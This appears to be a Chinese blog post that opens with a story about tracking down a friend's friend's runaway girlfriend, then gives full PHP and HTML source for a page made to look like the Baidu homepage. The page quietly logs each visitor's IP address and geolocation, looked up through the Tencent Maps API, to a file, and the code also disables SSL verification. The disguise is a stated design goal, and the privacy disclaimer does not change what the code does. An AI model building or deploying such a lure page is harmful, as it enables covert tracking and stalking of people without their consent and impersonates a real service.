朋友的朋友的女朋友负气出走了,朋友的朋友找到了朋友寻求协助。朋友又找到我希望可以通过代码实现定位从而找回。此类问题涉及侵犯隐私问题从而无法得到有效解决。建议朋友的朋友寻找帽子叔叔以得到帮助才是正理!朋友咨询我网上通过手机号码定位是否可信。某直呼:“骗子!!” 朋友从事职业为分子料理师,但是他所给出的角度还是非常清奇的!从而引起了我的思考。。。文章目的无不良引导!
思考
- 日子还是要认真对待的!!!
- 引入地图api
- IP地址
- 记录所获取到的经纬度及IP
- 前端具备一定伪装度
// tohs.cn
// 2025/06/02
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 腾讯地图API密钥
$腾讯地图APIKey = "input腾讯apikey";
$文件路径 = "tohs.txt";
// 获取用户IP地址
function 获取用户IP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
// 调用腾讯地图API获取经纬度
function 获取坐标($ip, $apiKey) {
$url = "https://apis.map.qq.com/ws/location/v1/ip?ip={$ip}&key={$apiKey}";
// 初始化cURL会话
$ch = curl_init();
// 设置URL和其他选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode($response, true);
if ($data && $data['status'] == 0) {
// 成功获取坐标
return [
'lat' => $data['result']['location']['lat'],
'lng' => $data['result']['location']['lng'],
'address' => $data['result']['address']
];
} else {
// 定位失败,返回默认值或错误信息
return [
'error' => '定位失败: ' . ($data ? $data['message'] : '未知错误'),
'lat' => 0,
'lng' => 0
];
}
}
// 记录坐标到文件
function 记录坐标到文件($文件路径, $时间, $ip, $坐标) {
$内容 = "时间: {$时间} | 坐标: {$坐标['lat']},{$坐标['lng']} | IP: {$ip} | 地址: {$坐标['address']}\n";
// 打开文件并追加内容
if ($fp = fopen($文件路径, 'a')) {
fwrite($fp, $内容);
fclose($fp);
return true;
} else {
return false;
}
}
// 主程序流程
$用户IP = 获取用户IP();
$坐标信息 = 获取坐标($用户IP, $腾讯地图APIKey);
$当前时间 = date('Y-m-d H:i:s');
$记录成功 = 记录坐标到文件($文件路径, $当前时间, $用户IP, $坐标信息);
// 准备前端显示信息
$显示信息 = "定位信息: ";
if (isset($坐标信息['error'])) {
$显示信息 .= $坐标信息['error'];
} else {
$显示信息 .= "纬度: {$坐标信息['lat']}, 经度: {$坐标信息['lng']}, 地址: {$坐标信息['address']}";
}
$显示信息 .= " | IP: {$用户IP} | 记录状态: " . ($记录成功 ? "成功" : "失败");
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>百度一下,你就知道</title>
<style>
* {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
background-color: #fff;
color: #333;
text-align: center;
padding-top: 100px;
}
.container {
width: 100%;
max-width: 980px;
margin: 0 auto;
padding: 0 20px;
}
.logo {
margin-bottom: 30px;
}
.logo img {
height: 100px;
}
.search-box {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.search-input {
width: 580px;
height: 44px;
padding: 0 10px;
font-size: 18px;
border: 1px solid #d2d2d2;
border-right: none;
border-radius: 4px 0 0 4px;
outline: none;
}
.search-button {
height: 46px;
width: 100px;
background-color: #4285f4;
color: white;
border: none;
border-radius: 0 4px 4px 0;
font-size: 16px;
cursor: pointer;
}
.search-button:hover {
background-color: #3378f5;
}
.footer {
position: fixed;
bottom: 20px;
width: 100%;
color: #999;
font-size: 12px;
}
.location-info {
margin-top: 20px;
font-size: 14px;
color: #666;
text-align: left;
max-width: 600px;
margin-left: auto;
margin-right: auto;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="https://www.baidu.com/img/bd_logo1.png" alt="百度logo">
</div>
<div class="search-box">
<input type="text" class="search-input" placeholder="百度一下,你就知道">
<button class="search-button">百度一下</button>
</div>
<div class="location-info">
<!-- 前端提示定位信息 -->
<p>定位结果: <?php echo $显示信息; ?></p>
</div>
</div>
<div class="footer">
<p>本页面仅用于定位演示</p>
</div>
</body>
</html>
